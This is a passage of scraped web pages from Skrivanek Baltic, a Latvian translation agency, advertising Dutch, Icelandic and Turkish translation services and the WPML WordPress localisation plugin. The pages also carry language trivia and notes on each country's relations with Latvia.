Indiana, and Ohio. However, the percentage of Dutch speakers in America used to be profoundly higher. In New York next to the Hudson River, Dutch colonists and their descendants spoke Dutch. Dutch was the native language of the 8th president of the United States of America, Martin Van Buren. Van Buren is the only president of the USA whose native language was not English. HOW DIFFICULT IS DUTCH? At first, Dutch can seem like a very difficult language, however, it is surprisingly simpler for English and German speakers. Dutch is even called a combination of English and German! That makes it one of the easiest languages to learn for speakers of either language. However, learning Dutch demands some time and trouble no matter what your native language is. There are some difficult parts in learning every language, and the only way to master them is to learn them. UNUSUAL PRONUNCIATION The pronunciation of Dutch is difficult for many new students. Dutch speakers themselves struggle with the language, having weird letter combinations. For example, there are consonant combinations such as “nk”, “sch”, “ng”, and “nk”. Moreover, there are such consonant combinations that make one sound and others that make two sounds. And that’s not only with consonants! Dutch pronunciation has one more difficult aspect: diphthongs. They are combinations of two vowels creating a sound that no vowel in the Dutch language can create by itself. Therefore, practicing the spoken language is very important. CONFUSING WORD ORDER The construction of a sentence in Dutch grammar is very chaotic. The longer the sentences become, the more confusing the word order is. When forming complex passive and future tenses, the form of an adjective is separated and usually settles at the end of a sentence. THE USAGE OF ARTICLES DE AND HET The Dutch language has two separate ways of using the articles de and het. Theoretically, all masculine and feminine words are used with de, whereas all neuter words are used with het: De vrouw – the woman De man – the person Het kind – the child However, many Dutch words do not have clear gender references. Therefore, it can be quite difficult to know which article to use. That simply needs to be heard and kept in mind. That is the difficult part of learning Dutch. It is important to use each opportunity to practice the language to truly learn it. It is unnecessary to know many words or difficult grammar rules for communication. It is all right to make mistakes if you only speak, listen, read and write in Dutch. You can spend years learning the language and still find words that you have not faced before. However, according to the data of the Foreign Service Institute, around 600 hours (or 24 weeks) of learning are needed to speak Dutch rather easily. Of course, there is rarely a chance to learn Dutch 25 hours a week without any interruption. Therefore, to put these numbers into perspective, it would be necessary to have: 11. 5 hours of class activity each week for one year 5. 5 hours of class activity each week for two years. DUTCH INTERPRETER AND TRANSLATOR Our professional interpreter and translator team works with written translations of standard documents, technical translations, and notarised translations. The Skrivanek translation agency also provides editing and stylistic improvements to texts in Dutch. Of course, language specialists can provide information about cultural differences, business etiquette, history, and traditions. The thematic spectrum of translation material from/to Dutch is very broad, bearing in mind the active collaboration of both countries in various fields: business, economy, education, culture, etc. For business clients, we most often perform these translations from/to Dutch: homepage and adaptation, content of e-commerce and advertisement slogans, marketing texts, also collaboration contracts, and business documentation. We also provide consecutive and simultaneous translations in business and other types of conversations, conferences, and other events. For private individuals, we offer translations of identity documents, marriage certificates, birth certificates, education documents, passports, medical documentation, and others. DUTCH LANGUAGE IN BUSINESS The Netherlands is one of the richest countries in the world, therefore, the Dutch language has a bigger economic influence than one may think. Although many Dutch speak English, business in the Netherlands is still implied in Dutch. If it is desired to live and work in the Netherlands, knowledge of the local language will help to understand Dutch culture. If you speak English, you will have the opportunity to freely use it. BILATERAL RELATIONS BETWEEN LATVIA AND THE NETHERLANDS Latvia and the Netherlands have close and friendly relations featuring regular political dialogue and widely varied forms of collaboration, especially in the fields of economy, culture, and education. The Netherlands traditionally is an important economic collaboration partner of Latvia. The beginning of economic bilateral relations between the Netherlands and Latvia is found in the Hanseatic League. From the 13th until the 17th century, commerce between harbour cities such as Riga, Amsterdam, and Groningen promoted the economic growth of both countries. Nowadays, Latvia continues to constantly emphasise its interest in developing and improving economic relations with the Netherlands, promoting high value-added exports to it. Latvia and the Netherlands have open and dynamic economies whose collaboration is confirmed by rather stable high bilateral trade indicators and the volume of Dutch investments in Latvia. Cooperation between the two NATO and EU Member States takes place on the basis of the Memorandum of Understanding between the Ministries of Defence of the Republic of Latvia and the Kingdom of the Netherlands on defence and military relations signed in London on 19 September 2008. The goal of the Memorandum of Understanding is to continue and deepen Latvia’s and the Netherlands’ bilateral defence resource collaboration in NATO and the EU. Latvia has a successful collaboration with the Netherlands in transport and logistics. Riga’s harbour has a successful collaboration with Rotterdam’s harbour thanks to regular container shipping line routes (Containerships, Unifeeder Container Service and Mann Line Multimodal). Moreover, since 2016, some test container train shipments have been organised between China and Latvia, including on the railway-sea route Ürümqi-Riga-Rotterdam. Latvia continues to be interested in offering its favourable geographical position and infrastructure for freight traffic between Europe and Asia. Latvia has formed a good collaboration in education with universities of the Netherlands rich with traditions. A big part of the State of Latvia’s and private higher education institutions have signed collaboration agreements with higher education institutions of the Netherlands for the exchange of students, professors and researchers. Latvia’s higher education institutions actively collaborate with the Netherlands’ higher education institutions in the EU’s education and research program. Each year a large number of Latvian youth get into the Netherlands’ higher education institutions in bachelor’s or master’s study programs. The collaboration of both countries is very active in the field of culture because it is based on cultural-historical relations and professional interest in each other. It occurs in collaboration of both countries and international projects with more participants. Collaboration in culture happens in these fields: creative industry, museums, music, libraries, art, cinema, theatre, and cultural education. The embassy of the Netherlands actively works to promote collaboration of both countries in various fields and looks after their country’s citizens that are staying in the territory of Latvia as well. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO DUTCH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Dutch; Dutch to Latvian; Estonian to Dutch; Dutch to Estonian; Lithuanian to Dutch; Dutch to Lithuanian; Russian to Dutch; Dutch to Russian; English to Dutch; Dutch to English; Czech to Dutch; Dutch to Czech; Polish to Dutch; Dutch to Polish; Ukrainian to Dutch; Dutch to Ukrainian; Dutch to Spanish; Spanish to Dutch; German to Dutch; Dutch to German; Italian to Dutch; Dutch to Italian; French to Dutch; Dutch to French; Danish to Dutch; Dutch to Danish; Norwegian to Dutch; Dutch to Norwegian; Swedish to Dutch; Dutch to Swedish; Finnish to Dutch; Dutch to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO DUTCH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Dutch; Dutch to Latvian; Estonian to Dutch; Dutch to Estonian; Lithuanian to Dutch; Dutch to Lithuanian; Russian to Dutch; Dutch to Russian; English to Dutch; Dutch to English; Czech to Dutch; Dutch to Czech; Polish to Dutch; Dutch to Polish; Ukrainian to Dutch; Dutch to Ukrainian; Dutch to Spanish; Spanish to Dutch; German to Dutch; Dutch to German; Italian to Dutch; Dutch to Italian; French to Dutch; Dutch to French; Danish to Dutch; Dutch to Danish; Norwegian to Dutch; Dutch to Norwegian; Swedish to Dutch; Dutch to Swedish; Finnish to Dutch; Dutch to Finnish and others. --- > WPML spraudnis vai kā visefektīvāk lokalizēt Wordpress mājaslapu? Kāds ir labākais risinājums mājaslapas tulkojumam? Lasi šeit! - Published: 2022-10-20 - Modified: 2024-07-18 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/wordpress-timekla-vietnes-tulkosana-un-lokalizesana-ar-wpml-spraudni/ - Translation Priorities: Optional WPML – WORDPRESS DAUDZVALODU SPRAUDNIS WPML ir viens no populārākajiem daudzvalodu WordPress spraudņiem. Uzņēmuma OnTheGoSystems izstrādātais WPML spraudnis ir viens no labākajiem tīmekļa vietņu tulkošanas un lokalizēšanas rīkiem. WPML ļauj viegli veidot daudzvalodu tīmekļa vietnes gan uzņēmumu, gan personīgo emuāru vajadzībām. Pateicoties ērtai un intuitīvai saskarnei, daudzvalodu tīmekļa vietne ir izveidojama ļoti ātri. WPML atvieglo arī daudzvalodu tīmekļa vietnes pārvaldību. Vienkārši izvēlieties tīmekļa vietnes valodu un varat sākt tulkošanu. WPML – LABĀKAIS RISINĀJUMS WORDPRESS TULKOJUMIEM Skrivanek kā autorizēts WPML partneris piedāvā tīmekļa vietņu lokalizācijas pakalpojumus. Pateicoties sadarbībai ar WPML, mēs spējam apstrādāt un īstenot pat vissarežģītākos tulkošanas projektus. WPML spraudnis paātrina un vienkāršo tīmekļa vietnes tulkošanas procesu. Tas ir īpaši noderīgs, ja veidojat vietnes versijas vairākās valodās. WPML ļauj tulkot visu veidu tīmekļa vietnes saturu – no rakstiem un apakšlapām līdz logrīku saturam, projektu aprakstiem un atsauču tekstiem. Spraudnis nodrošina arī ērtu sadarbību, ja uzticat savas WordPress tīmekļa vietnes tulkošanu uzņēmumam Skrivanek. Jums ir WPML spraudnis, bet nepieciešama atļauja savienojuma izveidošanai ar Skrivanek? Lai saņemtu atļauju, lūdzu, aizpildiet veidlapu. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācija, vēlams norādīt arī tīmekļa vietnes URLKā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI AR WPML – KĀ TAS DARBOJAS? KĀPĒC IR VĒRTS IEGĀDĀTIES WPML SPRAUDNI? 1 WPML spraudni varat uzinstalēt savā tīmekļa vietnē dažu minūšu laikā patstāvīgi bez IT speciālista vai tīmekļa vietnes izstrādātāja palīdzības. Spraudnis atbalsta vairāk nekā 400 000 uzņēmumu tīmekļa vietņu un nodrošina nepārspējamu stabilitāti un savietojamību. WPML būtiski atvieglo tīmekļa vietnes satura tulkošanu. Ja esat valodas profesionālis, varat tulkošanu veikt patstāvīgi, bet varat arī sadarboties ar tulkošanas biroju. Daudzvalodu e-komercijas tīmekļa vietņu uzturēšana ar WPML un WooCommerce ir patiess prieks. Katru valodu varat izvietot atsevišķi. WPML ir pilnībā saderīgs ar daudziem SEO spraudņiem. WPML atbalsta tīmekļa vietnes saskarnes elementu tulkošanu tieši no WordPress. Jebkura tēma vai spraudnis, kas izmanto WordPress API, ir saderīgs ar WPML. WPML sadarbojas ar vairākiem tēmu un spraudņu izstrādātājiem, nodrošinot teicamu savietojamību. WPML spraudnim tiek regulāri izdoti atjauninājumi un uzlabojumi, nodrošinot atbilstību jaunākajām WordPress versijām. WPML izstrādātāji piedāvā speciālistu atbalstu 19 stundas dienā, sešas dienas nedēļā un deviņās valodās. WPML piedāvā 30 dienu naudas atmaksas garantiju. Ja kāda iemesla dēļ neesat apmierināts ar produktu, varat vienkārši pieprasīt naudas atmaksu. WPML SNIEGTĀS PRIEKŠROCĪBAS: 1 vienkārša iestatīšana; ātra lokalizācija, pateicoties optimizētai darbplūsmai; automatizēta satura nogādāšana atpakaļ tīmekļa vietnē; zemas tīmekļa vietnes lokalizācijas izmaksas. Pateicoties Skrivanek un WPML spraudnim, varat viegli lokalizēt savu tīmekļa vietni jebkurā valodā. UZZINIET, KĀ IESTATĪT WPML SPRAUDNI Jums nav WPML spraudņa un vēlaties to iegādāties? Vienkārši noklikšķiniet uz pogas zemāk. IEGĀDĀTIES WPML --- > General and specialised translations in Icelandic language. Interpreting and other language solutions in Icelandic language. Contact us! - Published: 2022-10-14 - Modified: 2025-07-10 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-islandiesu-valoda/ - Translation Priorities: Optional ICELANDIC TRANSLATIONS HOW MUCH DO ICELANDIC TRANSLATIONS COST? The price for translations to and from Icelandic is individually calculated for each order. The price calculation takes into account elements specific to your order. For example, the price of consecutive interpreting and simultaneous interpreting is based on the time of service, the location of the event, travel expenses. For simultaneous translation, the costs for technical support are additionally calculated depending on the number of participants at the event, etc. For written translations, the price is determined by the volume and readability of the material, the due date of the translation, the complexity of the terminology, repetitions in the text, the formatting and complexity of images and graphics, proofreading and other additional services chosen by the client. IS THE PRICE LIST AVAILABLE? Of course, the price list of written and oral translations (simultaneous and sequential), localisation and adaptation from/to Icelandic is an essential part of our contracts with clients. Skrivanek translation agency project managers prepare detailed information on the cost of the translation before starting a translation project. A price offer is prepared within 30 minutes. For written works, the number of words in the source text, repetitions, complexity of graphic elements and other parameters are taken into account when determining the price. To receive a price offer, we will wait for your material to be translated in our e-mail. Contact Skrivanek Baltic today for a free quote on Icelandic translation or any other combination of translation and related business services. Our Icelandic language services include: Icelandic Document Translation Icelandic Simultaneous Interpretation Icelandic Linguistic Validation Icelandic Consecutive Interpretation Icelandic Transcription Icelandic Typesetting and Graphics Icelandic Voiceovers and Subtitling Icelandic Staffing Solutions Icelandic Multicultural Marketing Icelandic Document Management Icelandic Deposition Services Icelandic Virtual Data Room Services Icelandic E-learning Support Looking for a language solution in Icelandic? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE ICELANDIC LANGUAGE AND ICELAND Icelandic is a Germanic language and the only de facto national language in Iceland. Icelandic originated from Old Norse, the language spoken by the Vikings who came to Iceland and settled there. The language has not changed much in the last thousand years, so Icelanders are proud to say that they have little difficulty in reading texts and Old Norse sagas from the 10th to 13th Icelandic is an Indo-European language belonging to the North Germanic branch of the Germanic languages. This is very interesting fact if we consider the geographical distribution of other Indo-European languages, such as Greek and Albanian, which are separated from Iceland by many countries and several thousand kilometres. Icelandic is the closest living relative of Faroese and together with it and Norwegian, forms the West Scandinavian group of languages, which are the descendants of the western dialects of Old Norse. Interestingly, although the Danes ruled Iceland from 1380 to 1918, their control of the country had little impact on the development of the Icelandic language, which was used on a daily basis by the entire population. Danish was not used for official communication. The same applied to the US occupation of Iceland during the Second World War, which was gradually abolished in the 1950s. The culture of Iceland is the culture of Icelanders that, going back to Viking traditions, developed under the influence of pagan religion and later Christianity, without undergoing much change in the past and retaining its origins. The reason for this is not so much the isolation of Icelanders from other European peoples, but their main national characteristics: ethnocentrism and conservatism. However, geographical factors such as the harsh subarctic climate, the long polar days and nights, the lack of flora and fauna and the isolation from continental Europe, as well as natural phenomena such as frequent earthquakes, volcanic eruptions, floods and snow storms, have also protected Iceland from the influence of continental countries. Icelanders have a habit of not wearing raincoats or carrying umbrellas, as rainwear is not generally considered to be fashionable and Icelanders are very fashionable. The first permanent settlement in Iceland was established by Vikings from Norway and Celts from the British Isles in 870 AD. Icelanders wrote several great works of literature between the 12th and 13th Many of these sagas were written by unknown authors in a language very similar to Old Norse. The most famous authors of this period were Ari Thorgilsson (1068–1148) and Snorri Sturluson (1179–1241). Iceland gained independence in 1944, and Icelandic was re-established as an official and literary language. Publishing in Iceland has flourished enormously and Icelanders are considered to be among the most active readers and writers in the world. THE ICELANDIC ALPHABET The Icelandic alphabet consists of 32 letters. There are also three letters that are used only for foreign words, and one removed letter that is still sometimes used for foreign words. Icelandic uses the Latin alphabet, which is the same as the English alphabet; most Western European languages use this alphabet. There are some letters that are not found in English and even some letters that only Icelandic uses. The letter C, Q and W are not part of the Icelandic alphabet but are used in foreign words. From 1973, the last letter of the alphabet, Z, no longer appears in Icelandic words and is therefore no longer used in Icelandic. However, it is still technically used in very rare cases, preserved in the historical names of structures, organisations and in other similar terms, such as Verzló (a school in Reykjavik). And words that once contained the letter Z, now contain the letter S. Until 1980, the Icelandic alphabet consisted of 36 letters: A, Á, B, C, D, Ð, E, É, F, G, H, I, Í, J, K, L, M, N, O, Ó, P, Q, R, S, T, U, Ú, V, W, X, Y, Ý, Z, Þ, Æ, Ö. HOW DIFFICULT IS THE ICELANDIC LANGUAGE? There is no doubt that Icelandic is a difficult language to learn, especially if we don’t hear it spoken often. There is quite a lot of concern that it could be a disappearing language. However, Iceland has experienced the threat of language extinction in the past, when the smallpox epidemic and famine hit the country very hard in the 18th century, but Icelanders managed to hold on to their language, culture and literacy. In fact, because of its archaic vocabulary and complex grammar, Icelandic is considered one of the most difficult languages for English speakers to learn. The two biggest difficulties in learning Icelandic are pronunciation and grammatical features. Icelandic is a category IV language in terms of difficulty. So, it is harder than French, but much easier than Chinese. It takes 1100 hours, or 44 weeks of learning to become fluent in Icelandic. This seems like a long time to devote to a language, but with the right methods and resources, the learning process will be fun and exciting. WHERE AND HOW MUCH IS ICELANDIC SPOKEN? The majority of Icelandic speakers, around 320, 000, live in Iceland, while more than 8, 000 live in Denmark, of whom around 3, 000 are students. About 5, 000 people in the USA and more than 1, 400 in Canada, especially in the province of Manitoba, consider Icelandic their mother tongue. 97% of Icelandic people consider Icelandic their mother tongue, but outside Iceland, especially in Canada, the number of speakers is gradually decreasing. ICELANDIC TRANSLATOR AND INTERPRETER The team of Icelandic translators and interpreters at Skrivanek Baltic work with written translations of standard documents, complex technical translations and notarised translations. The Skrivanek translation agency also provides proofreading and stylistic improvement of texts in Icelandic, SEO content creation and adaptation to the Icelandic market and Icelandic mentality. Our language experts will be glad to provide you with information on cultural differences, business etiquette, history and traditions. For business clients, our most frequent translations to and from Icelandic include: website and e-commerce content, advertising slogan adaptation, cooperation agreements, legal acts, court rulings and business documentation. We also provide sequential translations for business and other types of meetings, conferences and other events, and online ZOOM and on other online platforms. For private individuals, we provide translations of personal identification documents, passports, medical documents, etc. ICELANDIC LANGUAGE IN BUSINESS Icelandic is not used as a business language outside Iceland. English and Danish are widely learned in Icelandic schools alongside the mother tongue, so both languages are also used in Icelandic business environments. In companies where non-Icelandic people work, English is spoken, so there is no need to learn Icelandic before going into a business meeting. Iceland has its own language, but English and Danish are widely used, as both are mandatory languages in the Icelandic school system. The Danish version of Icelandic is often called Skandinavíska and is also widely understood by Norwegians and Swedes. Icelanders seem rather reserved at first, which is not unusual for northerners. However, they are very friendly and it is likely that if you are visiting for business, you will be invited to a private house party and/or explore the country with the locals in other ways. Also, Icelanders often ask what foreigners think of Iceland, so it is advisable to show an interest in Iceland, its people, culture and traditions. ICELAND AND LATVIA Bilateral relations between Latvia and Iceland have consistently been very good. Cooperation between the two countries is based on regional belonging, an understanding of shared values and interests in European economic integration and security matters. Iceland was the first country to recognise the restoration of independence of Latvia and the other Baltic States on 22 August 1991. Iceland became the first country that had the courage to declare aloud to both the Soviet Empire and the rest of the world that Latvia had regained its freedom after 50 years of occupation by the USSR and should return to the world map as an independent country. Lithuania and Estonia received similar recognitions from Iceland. For this, Iceland will always have a very special place in the hearts of the people of the Baltic States. There is also an ignoble house in Iceland that is linked to Latvia’s destiny. During Cold War, the leaders of USA and the USSR held a meeting in Iceland. Ronald Reagan and Mikhail Gorbachev discussed nuclear weapons and could not come to an agreement on anything. Reagan’s idea to talk about human rights was not accepted by Gorbachev. The collapse of the Soviet Empire followed shortly after. A few years later, in the very same house, the Act of Recognition of the Restored Independence of the Baltic States was signed, accepted by Iceland. The Icelandic, Latvian, Lithuanian and Estonian ministers of foreign affairs also signed protocols establishing diplomatic relations. At the time, Vigdís Finnbogadóttir was president of Iceland, which was also unusual because she was the first women in the world to be democratically elected as president. And much later, after the recognition of Latvia, when she came to visit for the first time, she was happy that she was present at the historic event. On 22 August 2011, the Iceland Square was opened in Riga, Kipsala, to celebrate Iceland’s historic role in restoring Latvia’s independence. Latvia and Iceland have a stable economic relation. Although trade between the two countries is not large, the total volume of trade in goods has been gradually increasing in recent years. Icelandic investment in Latvian companies is significant. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ICELANDIC: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Icelandic; Icelandic to Latvian; Estonian to Icelandic; Icelandic to Estonian; Lithuanian to Icelandic; Icelandic to Lithuanian; Russian to Icelandic; Icelandic to Russian; Czech to Icelandic; Icelandic to Czech; Polish to Icelandic; Icelandic to Polish; Ukrainian to Icelandic; Icelandic to Ukrainian; Icelandic to Spanish; Spanish to Icelandic; German to Icelandic; Icelandic to German; Italian to Icelandic; Icelandic to Italian; French to Icelandic; Icelandic to French; Danish to Icelandic; Icelandic to Danish; Norwegian to Icelandic; Icelandic to Norwegian; Swedish to Icelandic; Icelandic to Swedish; Finnish to Icelandic; Icelandic to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ICELANDIC: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Icelandic; Icelandic to Latvian; Estonian to Icelandic; Icelandic to Estonian; Lithuanian to Icelandic; Icelandic to Lithuanian; Russian to Icelandic; Icelandic to Russian; Czech to Icelandic; Icelandic to Czech; Polish to Icelandic; Icelandic to Polish; Ukrainian to Icelandic; Icelandic to Ukrainian; Icelandic to Spanish; Spanish to Icelandic; German to Icelandic; Icelandic to German; Italian to Icelandic; Icelandic to Italian; French to Icelandic; Icelandic to French; Danish to Icelandic; Icelandic to Danish; Norwegian to Icelandic; Icelandic to Norwegian; Swedish to Icelandic; Icelandic to Swedish; Finnish to Icelandic; Icelandic to Finnish and others. --- > General and specialised translations, interpretation, localisation and other Turkish language solutions. Get a free quote! - Published: 2022-10-14 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/ - Translation Priorities: Optional TURKISH TRANSLATIONS HOW MUCH DOES TRANSLATION INTO TURKISH COST? The price for the order is determined individually. It is calculated from several components: the translation deadlines, the specificity of the text content, availability of terminology, difficulty of the draft, images, charts, correction, formatting, and any other services selected by the client (notarised certification, apostille, etc. ). IS THE PRICE LIST AVAILABLE? Yes, the translation and interpreting price list from/to Turkish is included in our client collaboration agreement. We always provide a descriptive layout of the translation price before the realisation of the project. The price of each order is decided separately according to Skrivanek’s current price list, based on the number of words in the source text, text duplication in the translation, and other aspects. In order to prepare a special price for you, we will be waiting for your material to be translated by email. Contact Skrivanek Baltic today for a free quote on Turkish translation or any other combination of translation and related business services. Our Turkish language services include: Turkish Document Translation Turkish Simultaneous Interpretation Turkish Linguistic Validation Turkish Consecutive Interpretation Turkish Transcription Turkish Typesetting and Graphics Turkish Voiceovers and Subtitling Turkish Staffing Solutions Turkish Multicultural Marketing Turkish Document Management Turkish Deposition Services Turkish Virtual Data Room Services Turkish E-learning Support Looking for a language solution in Turkish? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE TURKISH LANGUAGE Without a doubt, the richness of the Turkish language and culture is one of the reasons why Turkey is such a popular tourist destination. To fully immerse yourself in Turkish cuisine, tea rituals, ethnic languages and historical architecture is a cherished dream of all travellers. The Turkish Language Association is an institution responsible for regulating the Turkish language in Turkey. It was founded in 1932. The association pays attention to the standard Turkish language vocabulary and grammar, and regulates the usage of the Turkish language in public spaces as well. During the last 100 years, the Turkish language has greatly changed. One of the main goals of the Turkish Language Association is to purify the language. Until 1932, only 35–40% of words in Turkish were of Turkish origin, the rest were derived from other languages – Arabic or Persian. Today almost 80% of the words in the Turkish language are of Turkish origin. Turks completely reformed their alphabet in 1932. People who have knowledge about Turkey might have heard about Mustafa Kemal Atatürk – the president and founder of the the Republic of Turkey. After the collapse of the Ottoman Empire, he completely changed the Turkish alphabet, reforming it from Arabic to Latin script as in the West. In the 19th century, loanwords of Turkish origin began to enter the English language through reports of travellers, emissaries, and merchants as well as through historical writings and the press. The influence of Turkish on English is noticeable nowadays in words such as “kiosk” (from köşk), “kayak” (from kayık), “yoghurt”, etc. The Turkish bird language (in Turkish, kuş dili) is a version of Turkish spoken with the help of loud whistles and melodies. Initially, it was used by Turkish farmers to communicate with each other over long distances, and today there are 10,000 speakers. The language is associated with Kuşköy – a village in the Pontic Mountains located in northern Turkey. It is possible that the language could have originated 400 years ago, however, the origin is still unclear. UNESCO added the bird language to its list of Intangible Cultural Heritage in 2017. Since Kuşköy is a farming village situated in a deep valley, whistling can be heard considerably farther than only shouting. When the inhabitants of the village started using mobile phones, for many it seemed like an easier and more effective way to communicate. That is why inhabitants of the village focus on maintaining the language by organising festivals and using it to this day. Since 2014, institutions in the area started teaching the language in elementary school. Turkish fiction is rarely translated into other languages. Aşk is one of the most powerful words in the Turkish language meaning “love”. People in Turkey are very emotional, and all the melodrama comes from that. This word is often used in Turkish poetry, songs, and famous soap operas of the country. In the Turkish language, it is believed to be impolite to address someone only by name, especially when addressing older people. It is always necessary to add a polite address to the name, for example, teyze (aunt) or amca (uncle). If the personal name of the addressed person is unknown, then hanimefendi (madam), or beyefendi (sir) must be used. It is common in Turkish for the stress to be on the last syllable. However, this rule may not be applied to place names received and localised from other languages, for example, Izmir, Bursa, and other place names that have the stress on the first syllable. The Turkish language does not have a gender category. THE TURKISH ALPHABET The Turkish alphabet (in Turkish, Türk alfabesi) is an alphabet of Latin script used to write in Turkish. It consists of 29 letters from which seven (Ç, G, I, Š, Ö, S and Ü) are transformed from Latin for the phonetic requirements of Turkish. This alphabet reflects the current Turkish pronunciation and the high prestige level. It was confirmed in 1928 as a part of Atatürk's reforms, and it is the latest official alphabet of the Turkish language. The Turkish alphabet has been an example of official Latinisation for some languages that used to write in Arabic or Cyrillic earlier, for example, Azerbaijani (1991), Turkmen (1993), and recently Kazakh (2021). The earliest known Turkish alphabet is the Old Turkic alphabet whose first surviving evidence dates to the 7th century. All in all, the Turkish language has been written down in many different alphabets, including runic, Uyghur, Cyrillic, Arabic, Greek, Latin and other Asian script systems. Some Turkish reformists promoted the usage of Latin script far before Atatürk's reforms. During the earlier reform period in 1862, statesman Munuf Pasha stood for reforms of the alphabet. At the beginning of the 20th century, similar proposals were declared by some writers associated with the Young Turks movement, including Hüseyin Cahit Yalçın, Abdullah Cevdet, and Celâl Nuri İleri. This issue was also raised in 1923 at the First Economic Congress of the newly formed Republic of Turkey, and caused public debates that continued for several years. Nowadays the Turkish alphabet consists of 21 consonants and 8 short vowels. Additionally, the diacritic mark (ˆ) is used. It is used together with the letters “â”, “û”, “î”. Grammatically it is a softening mark, long mark, and also a mark to distinguish meanings between words (âlem – world, alem – flag, crescent moon in minarets, etc. ). It is only found in words left from Arabic and Persian, as Turkish has neither long vowels nor softening. Nowadays, Turkish letters are taken from some European alphabets: Swedish, German, Albanian, Romanian and others – A, B, C, Ç, D, E, F, G, Ğ, H, I, İ, J, K, L, M, N, O, Ö, P, R, S, Ş, T, U, Ü, V, Y, Z. IS THE TURKISH LANGUAGE DIFFICULT? The US Foreign Service Institute classified all languages of the world according to their difficulty, where the Turkish language is added to the 4th category. It means that 44 weeks, or 1100 hours, are necessary to learn the Turkish language. That might be the case for other language speakers, however, it is actually not that difficult. Yes, learning the Turkish language demands some time and trouble. Written Turkish uses the Latin alphabet, as in many world languages. The Turkish language does not have a gender category, therefore, there are no articles. Learning the language is easier regarding the fact that words in the Turkish language do not have stress. It will be a little more difficult with letters that are not common in other languages. The only thing that remains is to learn their pronunciation. WHERE AND HOW MANY PEOPLE SPEAK TURKISH? More than 63 million people around the world know Turkish, which makes it the biggest language in the Turkic family. Turkish language speakers mainly live in Turkey and Cyprus, as well as in small communities in Greece, Bulgaria, North Macedonia, Kosovo, Albania, and Uzbekistan. A few million Turkish speakers live in western European countries as well, especially in Germany. More than two million people who know Turkish live in Germany. The Turkish language is the official language of Turkey, and it is one of the official languages of Cyprus. It also has an official language status in some municipalities of North Macedonia, depending on the number of Turkish speakers in the area, and in the district of Prizren in Kosovo. Turkish is used by inhabitants of Turkey and by minorities in 35 countries. The Turkish language is spread in those countries or areas that used to belong to the Ottoman Empire, for example, Bulgaria, Romania, Serbia, North Macedonia, Syria, Greece, and Israel. A noticeable number of Turkish language speakers also live in Austria, Belgium, France, the Netherlands, Switzerland, and the United Kingdom. Because of the influence of integration, most immigrants of Turkish origin living abroad do not know the Turkish language as well as Turks living in Turkey. Almost all permanent residents of Turkey know Turkish, the rest are dominantly Kurds. The Turkish language is a second language for the majority of people of other nationalities in Turkey, however, their level of Turkish is the same as their native language. TURKISH LANGUAGE INTERPRETER AND TRANSLATOR The Skrivanek translation agency has 